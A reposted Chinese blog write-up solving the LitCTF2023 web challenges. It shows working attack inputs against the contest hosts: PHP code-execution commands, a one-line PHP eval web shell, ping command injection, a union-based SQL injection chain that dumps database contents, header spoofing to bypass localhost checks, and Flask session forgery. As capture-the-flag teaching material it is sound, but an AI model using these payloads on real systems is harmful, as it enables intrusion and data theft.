0


[LitCTF2023] web方向全题解wp

LitCTF2023

我Flag呢?

签到题,f12获取flag

这里注意看一下源代码,有彩蛋
在这里插入图片描述

先留着

LitCTF{First_t0_The_k3y! (1/?) 

导弹迷踪

前端js小游戏

开调试器进行代码审计

可知当游戏进入

finished

状态的时候会得到flag,可以直接找到

在这里插入图片描述

Follow me and hack me

传参题,按照要求传参直接出

在这里插入图片描述

CTF=Lit2023
Post:Challenge = i'm_c0m1ng

传入得到flag,然后提示备份文件还有好恰的,备份文件无非几种,直接访问

www.zip

在这里插入图片描述

下载压缩包,压缩包里有

index.php.bak

文件,打开

在这里插入图片描述

获得第三个彩蛋

在这里插入图片描述

_R3ady_Pl4yer_000ne_ (3/?)

PHP是世界上最好的语言!!

看文本框是进行代码执行,直接在右边构造payload:

system("ls /");

在这里插入图片描述

然后

cat /f*

得到flag

在这里插入图片描述

Vim yyds

利用dirsearch扫描网站

dirsearch.py -u http://node5.anna.nssctf.cn:28266/

扫描结果如下:

在这里插入图片描述

Vim缓存泄露,输入如扫描结果,访问

/.index.php.swp

会下载该文件

在这里插入图片描述

整理后代码如下,仔细看前面的代码php短标签是反着来,所以要整理下:

<?phperror_reporting(0);$password="Give_Me_Your_Flag";echo"<p>can can need Vim </p>";if($_POST['password']===base64_encode($password)){echo"<p>Oh You got my password!</p>"eval(system($_POST['cmd']));}?>

说明我们要传入

password

变量,使其值base64加密后的

Give_Me_Your_Flag

构造payload:

POST
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=

在这里插入图片描述

You got password!

接下来post传入cmd变量进行rce就可以得到flag

cmd=ls /
cmd=cat /f*

作业管理系统

在这里插入图片描述

f12有hint,默认账户和密码都是

admin

这道题一眼就知道有好多种写法,文件上传一种,文件创建一种,这里用的是文件创建
在这里插入图片描述

创建文件名为

flag.php

在这里插入图片描述

然后编辑文件,内容就是基本的文件上传漏洞的内容

<?php
@eval($_POST["Leaf"]);
?>

在这里插入图片描述

然后点保存,接下来返回开始的界面去访问该文件

http://node5.anna.nssctf.cn:28807/flag.php

存在说明已经创建成功,接下来可以选择RCE或者蚁剑连接,我选的用蚁剑连接

在这里插入图片描述

连接成功,在根目录下得到flag

Ping

ping命令考察,先输入127.0.1试试水,可以有回显

在这里插入图片描述

然后构造payload扫描根目录:

127.0.0.1|ls;

在这里插入图片描述

这里多试了几次管道符,猜测是前端检测,利用burp抓包然后改包

通过抓包改变ping命令

127.0.0.1;ls

获得到根目录下文件

在这里插入图片描述

然后构造payload获得flag

127.0.0.1;cat /*

在这里插入图片描述

这是什么?SQL !注一下 !

已经告诉你闭合方式了,直接开注!

先判断显示位,payload:

-1)))))) union select 1,2#

在这里插入图片描述

爆库:

1)))))) and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata#

得到库名

information_schema,mysql,ctftraining,performance_schema,test,ctf

爆表:

1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema="ctf"

得到表名:

users

爆列:

1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name="users"#

得到列名:

id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

获取值:

1)))))) and 1=2 union select 1,group_concat(password) from ctf.users

获得彩蛋(难蚌):

OHHHHHHH,F1rst_to_Th3_eggggggggg!} 

重新爆表:

1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema="ctftraining"#

得到表明:

flag,news,users

重新爆列:

1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name="flag"#

获得列名:

flag

重新获取值:

1)))))) and 1=2 union select 1,group_concat(flag) from ctftraining.flag#

彩蛋

我们通过前面的题已经得到了4个彩蛋,组合一下

LitCTF{First_t0_The_k3y! (1/?)

_S0_ne3t? (2/?)

R3ady_Pl4yer_000ne (3/?)

F1rst_to_Th3_eggggggggg!}

组合获得flag:

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

Http pro max plus

postman杀穿了()

在这里插入图片描述

显示只允许本地访问,第一反应就是伪造

X-Forwarded-For

头,但是被嘲讽了

在这里插入图片描述

于是又试了好多东西,我直接一并列出来了

X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

最后发现能用的是

Client-IP

在这里插入图片描述

?我怕这名字不过审,我直接伪造

Referer

为这个网站了

在这里插入图片描述

然后回显要用Chrome浏览器,伪造

User-Agent

为Chrome

在这里插入图片描述

这个找了好久,最后发现是伪造

Via

在这里插入图片描述

在这里插入图片描述

OK,借一部说话,去访问

wtfwtfwtfwtf.php

文件

得到源码

<html><title>你说得对,but where is flag?</title><head><metahttp-equiv="Content-Type"content="text/html; charset=utf-8"/></head><body><ahref="https://doc.miyun.app/app/clash-win/">
        The first step-----><button>click me to get Clash!</button></a></body><body>
        //网站被我删了
        The second step-----><button>open your eyes on pornhub️</button></a></body><body><ahref="./jiege.jpg">
        The 3rd step-----><button>that is what you want: 色图.jpg</button></a></body><!--你就冲吧,什么都冲只会害了你自己 bdy好康的在 /sejishikong.php--></html>

可以看到有hint,再访问

 /sejishikong.php

得到flag

就当无事发生

给了个GitHub项目的链接

在这里插入图片描述

https://ProbiusOfficial.github.io

后来听佬说是社工题,我也没照,直接贴链接

https://github.com/ProbiusOfficial/ProbiusOfficial.github.io/commit/f04fe251bf8811324d4e71cd87b4b15581358490#diff-1474f5fa679c8ac3ff897f022f78e6d753c107596c85a05c06a7466478a3f43

然后在

flag是什么呢

里面可以找到flag

在这里插入图片描述

1zjs

魔方小游戏,一开始不信是代码审计,所以就用dirsearch扫了扫(没啥用)

在这里插入图片描述

那就审呗,看源代码得到hint,进入

[email protected]

文件

在这里插入图片描述

得到一段jsfuck解密(md,看的我眼花),控制台跑一下,得到flag

在这里插入图片描述

Flag点击就送!

一开始没什么思路,就先用dirsearch扫了扫
在这里插入图片描述

没有扫出来什么东西,然后就随便看,看到了有session

在这里插入图片描述

猜测是

session伪造

,但是要是想进行session伪造就要先知道

secret_key

,由于没有明显提示

secret_key

只能猜,联想比赛题目,是

LitCTF

,利用

flask_session_cookie_manager3

进行session伪造,先验证正确性:

在这里插入图片描述

decode解密成功,然后接下来就进行session伪造

在这里插入图片描述

把伪造好的session利用burp抓包然后修改

eyJuYW1lIjoiYWRtaW4ifQ.ZGCq-A.8H9RmjSBHw5uvGpprkWTXFFcxlE

在这里插入图片描述

得到flag
关于session伪造具体可以看[HDCTF2023] NSSweb方向题解的YamiYami

标签: php web安全

本文转载自: https://blog.csdn.net/Leaf_initial/article/details/130671885
版权归原作者 Leafzzz__ 所有, 如有侵权,请联系我们删除。

“[LitCTF2023] web方向全题解wp”的评论:

还没有评论